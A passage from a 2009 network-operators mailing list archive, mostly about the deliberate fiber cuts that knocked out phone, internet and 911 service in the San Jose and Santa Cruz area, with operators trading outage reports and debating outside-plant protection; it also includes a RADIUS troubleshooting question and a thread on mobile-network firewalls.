returned. Apr 9 2009 21:28:57.261 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server server3:1812,1813 is not responding. Apr 9 2009 21:28:57.265 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server server3:1812,1813 has returned. Apr 9 2009 21:29:01.357 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server server2:1812,1813 is not responding. Apr 9 2009 21:29:01.361 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server server2:1812,1813 has returned. Apr 9 2009 21:29:03.825 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server server1:1812,1813 is not responding. Apr 9 2009 21:29:03.825 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server server1:1812,1813 has returned. Apr 9 2009 21:29:07.833 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server server3:1812,1813 is not responding. Apr 9 2009 21:29:07.833 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server server3:1812,1813 has returned. I can ping all the rad server's with >2ms, the server's are working fine as there are many more nas's using them. Any thought's? Regard, Bruce From charles at thewybles.com Thu Apr 9 16:39:14 2009 From: charles at thewybles.com (Charles Wyble) Date: Thu, 09 Apr 2009 14:39:14 -0700 Subject: Fiber cut in SF area In-Reply-To: <49DE5368.8030803@enger.us> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> <49DE5368.8030803@enger.us> Message-ID: <49DE6B02.5020002@thewybles.com> Yep.... it leads to: Activity Type Code Desc: PROGRESS COMMENTS Activity Type Code: PROG OTDR readings were taken by AT&T West and a cut was located 1600 ft from the San Jose, CA central office. AT&T West technicians are onsite working to isolate the exact location of the cut. There are 4 cables impacted. AT&T Mobility has 61 GSM and 45 co-located UMTS sites out of service off of Santa Clara Base Station Controllers 15 & 23, and Santa Clara Radio Network Controller 4. E911 has 52 Location Measuring Units down. The AT&T West Santa Cruz 11 central office (41,803 ATNs) is experiencing an SS7 isolation and the San Martin central office (11,904 ATNs) lost it's umbilical and is isolated at this time. The Bailey remote site (4,973 ATNs) is also isolated. Scott's Valley has 3 out of 4 SS7 links down. The Santa Cruz 01, Aptos, Scott's Valley, Felton, Boulder Creek, Ben Lomand, San Jose 11, San Jose 13, San Jose 21 central offices have trunks impacted such that all lines are busy and incoming calls are receiving trouble messages. The Santa Cruz County SO (178,040 ATNs), Scott's Valley PD (12,007 ATNs) and the UC Santa Cruz PD (14,909 ATNs) are all without ALI at this time. The Gilroy PD PSAP and the Morgan Hill PD and CDF have been rerouted with ALI/ANI. The Felton CDF has not been rerouted. There are 17 DSLAMS and 4 ATMS out of service impacting DSL service. There are 3 SMDI Links down impacting voicemail service. Verizon's Morgan Hill and Gilroy central offices are currently isolated. There have been 224,865 blocked calls. Robert M. Enger wrote: > > That AT&T has stopped provisioning protection fiber for automatic > restoral is mind boggling. > > That our crack (or on crack) govt contracting/emergency-preparedness > staff didn't demand protected facilities for 911 is another mind > boggling issue. > > That there is no over-under wide-area back-up coverage for the cellular > canopy ... > > We posture and orate about being prepared for terrorist attacks and > natural disasters, and then events like these reveal the reality: > The emperor has no clothes. > > > > Roy wrote: >> Service to South Santa Clara county is completely down: Internet, >> landline, and cellphones. Both Verizon and AT&T are affected. 911 is >> also down. >> >> My cellphones show one or no bars. Normally they are all four bars. >> >> The idea that all of that is lumped in one fiber bundle is mind boggling. >> >> On Thu, Apr 9, 2009 at 11:05 AM, Matthew Kaufman >> wrote: >> >>> I saw my Sonic.net-over-AT&T ADSL go dark at 02:30 local and it is still >>> down, served on a fiber remote out of SNCZCA01. (I'm guessing the 200 >>> Paul >>> outages are associated with where this ATM terminates and that's the >>> cause, >>> rather than the service in/out of Santa Cruz County, but I have no >>> way of >>> telling which from here) >>> >>> My own Gatespeed.net microwave to Equinix SV-3 is working fine (no >>> surprise >>> there), and I'm not seeing significant routing problems in/out of >>> there with >>> transit or peering. (Not even any down peers, so no inter-Equinix-site >>> outage apparently). >>> >>> Matthew Kaufman >>> matthew at eeph.com >>> >>> >>> >> >> > From mike.lyon at gmail.com Thu Apr 9 16:43:02 2009 From: mike.lyon at gmail.com (Mike Lyon) Date: Thu, 9 Apr 2009 14:43:02 -0700 Subject: Fiber cut in SF area In-Reply-To: References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <20090409185510.GP39240@neu.cow.org> Message-ID: <1b5c1c150904091443r14b4cdb1tceaac657e800b131@mail.gmail.com> There were multiple cuts. South san jose and san carlos. Yours would be the san carlos one :) On 4/9/09, David Edwards wrote: > At 12:55 PM 4/9/2009, you wrote: >> >From the news coverage it appears to be in the general area of >>http://cow.org/r/?545c >> >>-r > > Interesting. The report I got from a vendor was that it is Above.net > with a fiber cut in Redwood City which is affecting a circuit of mine > between 200 Paul in SF and PAIX in Palo Alto, which is a ways from > south San Jose. > > David > -- Sent from my mobile device From joelja at bogus.com Thu Apr 9 16:51:00 2009 From: joelja at bogus.com (Joel Jaeggli) Date: Thu, 09 Apr 2009 14:51:00 -0700 Subject: Fiber cut in SF area In-Reply-To: References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <20090409185510.GP39240@neu.cow.org> Message-ID: <49DE6DC4.2080707@bogus.com> David Edwards wrote: > At 12:55 PM 4/9/2009, you wrote: >> >From the news coverage it appears to be in the general area of >> http://cow.org/r/?545c >> >> -r > > Interesting. The report I got from a vendor was that it is Above.net > with a fiber cut in Redwood City which is affecting a circuit of mine > between 200 Paul in SF and PAIX in Palo Alto, which is a ways from south > San Jose. redwood city and san carlos on the other hand are right next door to each other. http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2009/04/09/BAP816VTE6.DTL&tsp=1 > David From jcdill.lists at gmail.com Thu Apr 9 16:54:07 2009 From: jcdill.lists at gmail.com (JC Dill) Date: Thu, 09 Apr 2009 14:54:07 -0700 Subject: Fiber cut in SF area In-Reply-To: <49DE5368.8030803@enger.us> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> <49DE5368.8030803@enger.us> Message-ID: <49DE6E7F.2040700@gmail.com> Robert M. Enger wrote: > > That AT&T has stopped provisioning protection fiber for automatic > restoral is mind boggling. > > That our crack (or on crack) govt contracting/emergency-preparedness > staff didn't demand protected facilities for 911 is another mind > boggling issue. > 911 centers can work just fine without phones. They use radio for intra-agency communications with police, fire, etc. There is also a large ham radio community who jumps in to help with communications when needed (testing, simulations, and real disasters). The primary problem a 911 center has if the phones go out is that people can't *reach* the 911 center if *their* phone lines don't work. jc From wrl at express.org Thu Apr 9 16:58:22 2009 From: wrl at express.org (William R. Lorenz) Date: Thu, 9 Apr 2009 17:58:22 -0400 (EDT) Subject: [outages] fibre cut near 200 Paul, San Francisco In-Reply-To: References: Message-ID: On Thu, 9 Apr 2009, Joe Abley wrote: > I am hearing from multiple people about connectivity problems in the bay > area, and they all seem to have 200 Paul in common. ISC is reporting a > fibre cut between 529 Bryant, Palo Alto and 200 Paul, SF. At least one > Unitedlayer customer in 200 Paul seems to be off the air. We're showing spikes in latency out in LAX on Cogent, as well as a few other interesting anomalies that are consistent with shifts in traffic in a number of different locations. Has anyone noticed any network routing issues outside of the immediately-effected area, as a result of this? 9 gi0-0-0.core01.lax05.atlas.cogentco.com (154.54.6.185) 65.447 ms 65.449 ms 65.434 ms 10 xo.lax05.atlas.cogentco.com (154.54.11.242) 127.708 ms 127.683 ms 127.680 ms -- William R. Lorenz From carlos at race.com Thu Apr 9 17:02:49 2009 From: carlos at race.com (Carlos Alcantar) Date: Thu, 9 Apr 2009 15:02:49 -0700 Subject: Fiber cut in SF area Message-ID: <859604546CD1FF488BDB6EA94C896AFB7760BD@racexchange.race.local> Looks like our circuit out of 200 paul from abovenet is back up. -----Original Message----- From: David Edwards [mailto:david at reliablehosting.com] Sent: Thursday, April 09, 2009 1:06 PM To: nanog at nanog.org Subject: Re: Fiber cut in SF area At 12:55 PM 4/9/2009, you wrote: > >From the news coverage it appears to be in the general area of >http://cow.org/r/?545c > >-r Interesting. The report I got from a vendor was that it is Above.net with a fiber cut in Redwood City which is affecting a circuit of mine between 200 Paul in SF and PAIX in Palo Alto, which is a ways from south San Jose. David From charles at thewybles.com Thu Apr 9 17:04:16 2009 From: charles at thewybles.com (Charles Wyble) Date: Thu, 09 Apr 2009 15:04:16 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! Message-ID: <49DE70E0.6040807@thewybles.com> Seriously though I want to start some discussion around outside plant protection. This isn't the middle of the ocean or desert after all. There were multiple fiber cuts in a major metropolitan area, resulting in the loss of critical infrastructure necessary to many peoples daily lives (though twitter stayed up so it's all good). :) It would appear that this was a deliberate act by one or more individuals, who seemed to have a very good idea of where to strike which resulted in a low cost, low effort attack that yielded significant results. So allow me to think out loud for a minute.... 1) Why wasn't the fiber protected by some sort of hardened/locked conduit? Is this possible? Does it add extensive cost or hamper normal operation? 2) Why didn't an alarm go off that someone had entered the area? It was after business hours, presumably not in response to a trouble ticket, and as such a highly suspicious action. Does it make sense for these access portals to have some sort of alarm? I mean there is fiber running through and as such it could carry the signaling. Would this be a massive cost addition during construction? 3) From what I understand it's not trivial to raise a manhole cover. Most likely can't be done by one person. Can they be locked? Or were the carriers simply relying on obscurity/barrier to entry? From scott at sonic.net Thu Apr 9 17:07:22 2009 From: scott at sonic.net (Scott Doty) Date: Thu, 09 Apr 2009 15:07:22 -0700 Subject: Fiber cut in SF area In-Reply-To: References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <20090409185510.GP39240@neu.cow.org> Message-ID: <49DE719A.1020106@sonic.net> David Edwards wrote: > At 12:55 PM 4/9/2009, you wrote: >> >From the news coverage it appears to be in the general area of >> http://cow.org/r/?545c >> >> -r > > Interesting. The report I got from a vendor was that it is Above.net > with a fiber cut in Redwood City which is affecting a circuit of mine > between 200 Paul in SF and PAIX in Palo Alto, which is a ways from > south San Jose. http://www.kcbs.com/Phone-Outage-Likely-Caused-by-Vandals/4174734 ''Police say that at 1:20 a.m., four to five fiber optic cables located beneath a manhole were cut and severed on Monterey Highway, north of Blossom Hill Road.'' ''In San Carlos, vandals struck a second time along Old County Road at the edge of San Carlos and Redwood City'' I also heard on KCBS: The cuts were in 4 manholes in San Carlos, and they said it was "seven cables". (Not sure if that means the same 7 cables were cut 4 times, or what...) I also heard: there were 4 cables cut in the South SJ manhole. A lot of comms (incl. 911) are out for Santa Cruz County, as well as South Santa Clara Country, including Gilroy and Morgan Hill. Just now, from their web stream, they refer to this as "an act of sabotage". On interview was with an "info-worker" in Morgan Hill, and for her, this was "the end of the world". (Personally, I can think of a "MAE-Clueless" episode that was worse than this, but that was in the 90's...) Finally -- and I'm not a lawyer -- I want to note that killing 911 to a city can get you tried for murder in California, if someone dies as a result, if I understand the law correctly. Better days, -Scott From charles at thewybles.com Thu Apr 9 17:09:05 2009 From: charles at thewybles.com (Charles Wyble) Date: Thu, 09 Apr 2009 15:09:05 -0700 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: <982D8D05B6407A49AD506E6C3AC8E7D6E5092CE6A0@caralain.haven.nynaeve.net> References: <982D8D05B6407A49AD506E6C3AC8E7D6E5092CE6A0@caralain.haven.nynaeve.net> Message-ID: <49DE7201.4070509@thewybles.com> Yep verizon does indeed filter all unsolicated inbound traffic to the EVDO network. It can be a blessing or a curse. :) Skywing wrote: > Verizon filters unsolicited inbound traffic for their EVDO customers in my experience. > > - S > > -----Original Message----- > From: Roland Dobbins > Sent: Thursday, April 09, 2009 09:32 > To: NANOG list > Subject: Re: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? > > > On Apr 9, 2009, at 11:48 PM, Lee, Steven (NSG Malaysia) wrote: > >> Please share your thought and thanks in advance :) > > No, IMHO. Most broadband operators don't insert firewalls inline in > front of their subscribers, and wireless broadband is no different. > > The infrastructure itself must be protected via iACLs, the various > vendor-specific control-plane protection mechanisms, and so forth, but > inserting additional state in the middle of everything doesn't buy > anything, and introduces additional constraints and concerns. > > ----------------------------------------------------------------------- > Roland Dobbins // +852.9133.2844 mobile > > Our dreams are still big; it's just the future that got small. > > -- Jason Scott > > > From raul at cenic.org Thu Apr 9 17:27:24 2009 From: raul at cenic.org (Raul D. Rincon) Date: Thu, 9 Apr 2009 15:27:24 -0700 Subject: Fiber cut in SF area In-Reply-To: <935ead450904091400h5828bfcdq1cf3bd1f5d5e260d@mail.gmail.com> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <49DE500A.8010104@csuohio.edu> <935ead450904091400h5828bfcdq1cf3bd1f5d5e260d@mail.gmail.com> Message-ID: <6BF8EBCC-BB6C-4688-9663-C4B15DE154E9@cenic.org> http://i.gizmodo.com/5205952/att-putting-up-100000-reward-for-cable-cutting-vandals r On Apr 9, 2009, at 2:00 PM, Jeffrey Ollie wrote: > On Thu, Apr 9, 2009 at 2:44 PM, Michael Holstein > wrote: >> >> First one is in this proximity : 37?15'20.79"N 121?48'9.38"W > > Street view shows a few manholes in the vicinity. > >> Second one is in this proximity : 37?29'44.00"N 122?14'44.31"W > > Didn't see anything obvious here. > > -- > Jeff Ollie > From charles at thewybles.com Thu Apr 9 17:41:21 2009 From: charles at thewybles.com (Charles Wyble) Date: Thu, 09 Apr 2009 15:41:21 -0700 Subject: Fiber cut in SF area In-Reply-To: <1CE4AEB0-84DC-4225-8E3B-7C45BC1FF2DF@puck.nether.net> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> <49DE5368.8030803@enger.us> <1CE4AEB0-84DC-4225-8E3B-7C45BC1FF2DF@puck.nether.net> Message-ID: <49DE7991.1030206@thewybles.com> Jared Mauch wrote: > > On Apr 9, 2009, at 3:58 PM, Robert M. Enger wrote: > >> >> That AT&T has stopped provisioning protection fiber for automatic >> restoral is mind boggling. >> >> That our crack (or on crack) govt contracting/emergency-preparedness >> staff didn't demand protected facilities for 911 is another mind >> boggling issue. > > This costs $$$ and usually isn't a problem as there are other ways > to communicate. The law-enforcement folks qualify for GETS so get > priority on wired/PSTN. They can also get radio priority w/ WPS. > >> I didn't know about WPS. http://policechiefmagazine.org/magazine/index.cfm?fuseaction=display_arch&article_id=839&issue_id=32006 Interesting stuff. From ravi at cow.org Thu Apr 9 17:42:33 2009 From: ravi at cow.org (Ravi Pina) Date: Thu, 9 Apr 2009 18:42:33 -0400 Subject: Fiber cut in SF area In-Reply-To: References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <20090409185510.GP39240@neu.cow.org> Message-ID: <20090409224233.GQ39240@neu.cow.org> On Thu, Apr 09, 2009 at 02:06:04PM -0600, David Edwards wrote: > At 12:55 PM 4/9/2009, you wrote: > >>From the news coverage it appears to be in the general area of > >http://cow.org/r/?545c > > > >-r > > Interesting. The report I got from a vendor was that it is Above.net > with a fiber cut in Redwood City which is affecting a circuit of mine > between 200 Paul in SF and PAIX in Palo Alto, which is a ways from > south San Jose. > My company is also impacted by an Abovenet fiber cut, but it is unclear if it is in any way related to the 2 cuts in this thread. -r From mailvortex at gmail.com Thu Apr 9 17:52:32 2009 From: mailvortex at gmail.com (Ben Scott) Date: Thu, 9 Apr 2009 18:52:32 -0400 Subject: Fiber cut in SF area In-Reply-To: <1CE4AEB0-84DC-4225-8E3B-7C45BC1FF2DF@puck.nether.net> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> <49DE5368.8030803@enger.us> <1CE4AEB0-84DC-4225-8E3B-7C45BC1FF2DF@puck.nether.net> Message-ID: <59f980d60904091552l6f4e3c43m80d83fc82f8b8432@mail.gmail.com> On Thu, Apr 9, 2009 at 5:29 PM, Jared Mauch wrote: >> That our crack (or on crack) govt contracting/emergency-preparedness staff >> didn't demand protected facilities for 911 is another mind boggling issue. > > ?This costs $$$ and usually isn't a problem as there are other ways to > communicate. The law-enforcement folks qualify for GETS ... Which is fine if you're a law-enforcement folk. Kinda sucks if you're an ordinary private citizen who tries to dial 911 and gets a reorder tone. Which I presume is what is happening, since everybody is saying 911 is down. What's the point of having all the emergency service personnel communicating with each other if they can't get 911 calls in the first place? (Rhetorical question, I know there are other ways they can find out about emergencies, but 911 is the big one.) Maybe nostalgia just ain't what it used to be, but I thought the PSTN used to be more reliable than this. #ifdef CONSPIRACY_THEORIST What if this isn't simple vandalism? #endif -- Ben From mike.lyon at gmail.com Thu Apr 9 18:34:18 2009 From: mike.lyon at gmail.com (Mike Lyon) Date: Thu, 9 Apr 2009 16:34:18 -0700 Subject: Fiber cut in SF area In-Reply-To: <859604546CD1FF488BDB6EA94C896AFB7760BD@racexchange.race.local> References: <859604546CD1FF488BDB6EA94C896AFB7760BD@racexchange.race.local> Message-ID: <1b5c1c150904091634t56a9c70epea1a500a62a0e7b3@mail.gmail.com> Appears I can get to Yahoo without 4000ms of latency now too and I don't have to be routed from San Jose, Ca to Philly to DC. -Mike On Thu, Apr 9, 2009 at 3:02 PM, Carlos Alcantar wrote: > Looks like our circuit out of 200 paul from abovenet is back up. > > -----Original Message----- > From: David Edwards [mailto:david at reliablehosting.com] > Sent: Thursday, April 09, 2009 1:06 PM > To: nanog at nanog.org > Subject: Re: Fiber cut in SF area > > At 12:55 PM 4/9/2009, you wrote: > > >From the news coverage it appears to be in the general area of > >http://cow.org/r/?545c > > > >-r > > Interesting. The report I got from a vendor was that it is Above.net > with a fiber cut in Redwood City which is affecting a circuit of mine > between 200 Paul in SF and PAIX in Palo Alto, which is a ways from > south San Jose. > > David > > > From sean at donelan.com Thu Apr 9 18:46:03 2009 From: sean at donelan.com (Sean Donelan) Date: Thu, 9 Apr 2009 19:46:03 -0400 (EDT) Subject: Fiber cut in SF area In-Reply-To: <1CE4AEB0-84DC-4225-8E3B-7C45BC1FF2DF@puck.nether.net> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> <49DE5368.8030803@enger.us> <1CE4AEB0-84DC-4225-8E3B-7C45BC1FF2DF@puck.nether.net> Message-ID: <200904091912580.28CAECBD.19252@clifden.donelan.com> On Thu, 9 Apr 2009, Jared Mauch wrote: >> That AT&T has stopped provisioning protection fiber for automatic restoral >> is mind boggling. Only helps with N-1 breaks. Unfortunately, sometimes there are N+1 breaks. Check the NANOG archives, I believe there were 5 breaks in one day in the 1990's; and even in the last year there have been 2-4 breaks on some transoceanic cables at the same time. On the other hand, I've never heard a carrier complain about digging more fiber as long as someone is willing to pay for it. How much more is someone willing to pay to get more diversity? Not willing to pay for it? I guess that's an answer too. >> That our crack (or on crack) govt contracting/emergency-preparedness staff >> didn't demand protected facilities for 911 is another mind boggling issue. > > This costs $$$ and usually isn't a problem as there are other ways to > communicate. The law-enforcement folks qualify for GETS so get priority on > wired/PSTN. They can also get radio priority w/ WPS. If you don't know the acronyms, see www.ncs.gov. GETS and WPS are good as long as the system is still connected. TSP and SHARES helps when the system becomes disconnected. Some carriers also have mutual aid pacts, and work with members of the mutual aid pact with spare facilities. Its better to sign up ahead time, rather than waiting until after the problem happens. Even though those tools are useful, also work on how to maintain your own self-sufficiency until help arrives. There will always be some prioritization of repair efforts. Although it had a big impact on some of the largest carriers in the region, especially for local services; its always interesting to see other stuff kept working. Not everything broke. > If you're an ISP, you may be able to obtain GETS or WPS for your > engineers. This would allow you a better chance of getting a channel to > respond to issues. This is a good test to see how your backup plans might > work for communication in the case of a larger distaster (earthquake, or > other). > > Make sure you test the tools you have. The people I know with GETS > cards are encouraged to test them regularly and verify they work. If someone > has one, I'd be interested to know if it proved to be of value today. It sucked, but its also an opportunity for ISPs to figure out better ways to do things. personal opinions only From jimpop at gmail.com Thu Apr 9 18:53:28 2009 From: jimpop at gmail.com (Jim Popovitch) Date: Thu, 9 Apr 2009 19:53:28 -0400 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <49DE70E0.6040807@thewybles.com> References: <49DE70E0.6040807@thewybles.com> Message-ID: On Thu, Apr 9, 2009 at 18:04, Charles Wyble wrote: > Seriously though I want to start some discussion around outside plant > protection. This isn't the middle of the ocean or desert after all. I'll pipe in with this: No amount of money can deter a determined entity. If there is a will, there is a way, etc. Want to protect your "outside" plant, then make it resilient network-wise. There use to be a time when dual paths was acceptable, I (personally) think that quad paths should be the norm. -Jim P. From Rod.Beck at hiberniaatlantic.com Thu Apr 9 18:55:27 2009 From: Rod.Beck at hiberniaatlantic.com (Rod Beck) Date: Fri, 10 Apr 2009 00:55:27 +0100 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! References: <49DE70E0.6040807@thewybles.com> Message-ID: <1E8B940C5E21014AB8BE70B975D40EDB01627ED8@bert.HiberniaAtlantic.local> Hold on. Who says this sabotage? These incidents happen all the time without sabotage being involved. A ship sank off the coast of Pakistan and took out both international cables serving the country ... We had the undersea earthquake that seven seven cables in the Taiwan straits. The truth is that physical diversity is an ideal, not a reality. I have seen lots of accidents that took multiple operators and seriously disrupted in a given locality. The only difference here is that in the Heart of Geek Territory. Hence the Natives are restless ... Roderick S. Beck Director of European Sales Hibernia Atlantic -----Original Message----- From: Charles Wyble [mailto:charles at thewybles.com] Sent: Thu 4/9/2009 11:04 PM To: nanog at nanog.org Subject: Outside plant protection, fiber cuts, interwebz down oh noes! Seriously though I want to start some discussion around outside plant protection. This isn't the middle of the ocean or desert after all. There were multiple fiber cuts in a major metropolitan area, resulting in the loss of critical infrastructure necessary to many peoples daily lives (though twitter stayed up so it's all good). :) It would appear that this was a deliberate act by one or more individuals, who seemed to have a very good idea of where to strike which resulted in a low cost, low effort attack that yielded significant results. So allow me to think out loud for a minute.... 1) Why wasn't the fiber protected by some sort of hardened/locked conduit? Is this possible? Does it add extensive cost or hamper normal operation? 2) Why didn't an alarm go off that someone had entered the area? It was after business hours, presumably not in response to a trouble ticket, and as such a highly suspicious action. Does it make sense for these access portals to have some sort of alarm? I mean there is fiber running through and as such it could carry the signaling. Would this be a massive cost addition during construction? 3) From what I understand it's not trivial to raise a manhole cover. Most likely can't be done by one person. Can they be locked? Or were the carriers simply relying on obscurity/barrier to entry? From charles at thewybles.com Thu Apr 9 19:00:33 2009 From: charles at thewybles.com (Charles Wyble) Date: Thu, 09 Apr 2009 17:00:33 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <1E8B940C5E21014AB8BE70B975D40EDB01627ED8@bert.HiberniaAtlantic.local> References: <49DE70E0.6040807@thewybles.com> <1E8B940C5E21014AB8BE70B975D40EDB01627ED8@bert.HiberniaAtlantic.local> Message-ID: <49DE8C21.6090001@thewybles.com> I didn't say it was sabatoage... It would appear > that this was a deliberate act I tried to be very careful to say that it appears to have been sabatoage, but that it's not confirmed. Also this isn't the middle of the ocean, but cable underground. That usually doesn't get cut unless it's by a back hoe. And speaking of unions.... construction crews charge lots of money to work in the middle of the night, so it's usually avoided. :) Rod Beck wrote: > Hold on. Who says this sabotage? > > These incidents happen all the time without sabotage being involved. A > ship sank off the coast of Pakistan and took out both international > cables serving the country ... > > We had the undersea earthquake that seven seven cables in the Taiwan > straits. > > The truth is that physical diversity is an ideal, not a reality. > > I have seen lots of accidents that took multiple operators and seriously > disrupted in a given locality. > > The only difference here is that in the Heart of Geek Territory. Hence > the Natives are restless ... > > Roderick S. Beck > Director of European Sales > Hibernia Atlantic > > > -----Original Message----- > From: Charles Wyble [mailto:charles at thewybles.com] > Sent: Thu 4/9/2009 11:04 PM > To: nanog at nanog.org > Subject: Outside plant protection, fiber cuts, interwebz down oh noes! > > Seriously though I want to start some discussion around outside plant > protection. This isn't the middle of the ocean or desert after all. > > There were multiple fiber cuts in a major metropolitan area, resulting > in the loss of critical infrastructure necessary to many peoples daily > lives (though twitter stayed up so it's all good). :) It would appear > that this was a deliberate act by one or more individuals, who seemed to > have a very good idea of where to strike which resulted in a low cost, > low effort attack that yielded significant results. > > > So allow me to think out loud for a minute.... > > 1) Why wasn't the fiber protected by some sort of hardened/locked > conduit? Is this possible? Does it add extensive cost or hamper normal > operation? > > 2) Why didn't an alarm go off that someone had entered the area? It was > after business hours, presumably not in response to a trouble ticket, > and as such a highly suspicious action. Does it make sense for these > access portals to have some sort of alarm? I mean there is fiber running > through and as such it could carry the signaling. Would this be a > massive cost addition during construction? > > 3) From what I understand it's not trivial to raise a manhole cover. > Most likely can't be done by one person. Can they be locked? Or were the > carriers simply relying on obscurity/barrier to entry? > > > > > From twright at internode.com.au Thu Apr 9 19:22:03 2009 From: twright at internode.com.au (Tom Wright) Date: Fri, 10 Apr 2009 09:52:03 +0930 Subject: PPPoE PPP authentication attempts In-Reply-To: <200904092332.55293.bruce@yoafrica.com> References: <200904092332.55293.bruce@yoafrica.com> Message-ID: <49DE912B.40903@internode.com.au> Sounds like the NAS spitting this out has been ACL'd from the RAD's somehow... Bruce Anthony Grobler wrote: > Hi Everyone, > > Please can someone assist me with this wierdness > > DEAD: RADIUS server server3:1812,1813 is not responding. > Apr 9 2009 21:28:42.001 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server > server3:1812,1813 has returned. > Apr 9 2009 21:28:43.953 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server > server1:1812,1813 is not responding. > Apr 9 2009 21:28:43.953 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server > server1:1812,1813 has returned. > Apr 9 2009 21:28:47.601 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server > server2:1812,1813 is not responding. > Apr 9 2009 21:28:47.601 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server > server2:1812,1813 has returned. > Apr 9 2009 21:28:49.041 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server > server3:1812,1813 is not responding. > Apr 9 2009 21:28:49.041 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server > server3:1812,1813 has returned. > Apr 9 2009 21:28:54.225 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server > server2:1812,1813 is not responding. > Apr 9 2009 21:28:54.225 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server > server2:1812,1813 has returned. > Apr 9 2009 21:28:55.569 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server > server1:1812,1813 is not responding. > Apr 9 2009 21:28:55.569 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server > server1:1812,1813 has returned. > Apr 9 2009 21:28:57.261 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server > server3:1812,1813 is not responding. > Apr 9 2009 21:28:57.265 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server > server3:1812,1813 has returned. > Apr 9 2009 21:29:01.357 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server > server2:1812,1813 is not responding. > Apr 9 2009 21:29:01.361 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server > server2:1812,1813 has returned. > Apr 9 2009 21:29:03.825 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server > server1:1812,1813 is not responding. > Apr 9 2009 21:29:03.825 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server > server1:1812,1813 has returned. > Apr 9 2009 21:29:07.833 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server > server3:1812,1813 is not responding. > Apr 9 2009 21:29:07.833 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server > server3:1812,1813 has returned. > > I can ping all the rad server's with >2ms, the server's are working fine as > there are many more nas's using them. > > Any thought's? > > Regard, > > Bruce > > > -- Kind Regards, Tom Wright Internode Network Operations P: +61 8 8228 2999 W: http://www.internode.on.net From j at arpa.com Thu Apr 9 19:38:22 2009 From: j at arpa.com (jamie rishaw) Date: Thu, 9 Apr 2009 19:38:22 -0500 Subject: Fiber cut in SF area In-Reply-To: <59f980d60904091552l6f4e3c43m80d83fc82f8b8432@mail.gmail.com> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> <49DE5368.8030803@enger.us> <1CE4AEB0-84DC-4225-8E3B-7C45BC1FF2DF@puck.nether.net> <59f980d60904091552l6f4e3c43m80d83fc82f8b8432@mail.gmail.com> Message-ID: On Thu, Apr 9, 2009 at 5:52 PM, Ben Scott wrote: > > #ifdef CONSPIRACY_THEORIST > > What if this isn't simple vandalism? > > #endif > If my read is correct, this is multiple cuts in multiple locations. To answer the what-if ("What if this isn't simple vandalism?") : It's not. -jamie From ravi at cow.org Thu Apr 9 19:41:45 2009 From: ravi at cow.org (Ravi Pina) Date: Thu, 9 Apr 2009 20:41:45 -0400 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <49DE70E0.6040807@thewybles.com> References: <49DE70E0.6040807@thewybles.com> Message-ID: <20090410004145.GR39240@neu.cow.org> On Thu, Apr 09, 2009 at 03:04:16PM -0700, Charles Wyble wrote: > Seriously though I want to start some discussion around outside plant > protection. This isn't the middle of the ocean or desert after all. > > There were multiple fiber cuts in a major metropolitan area, resulting > in the loss of critical 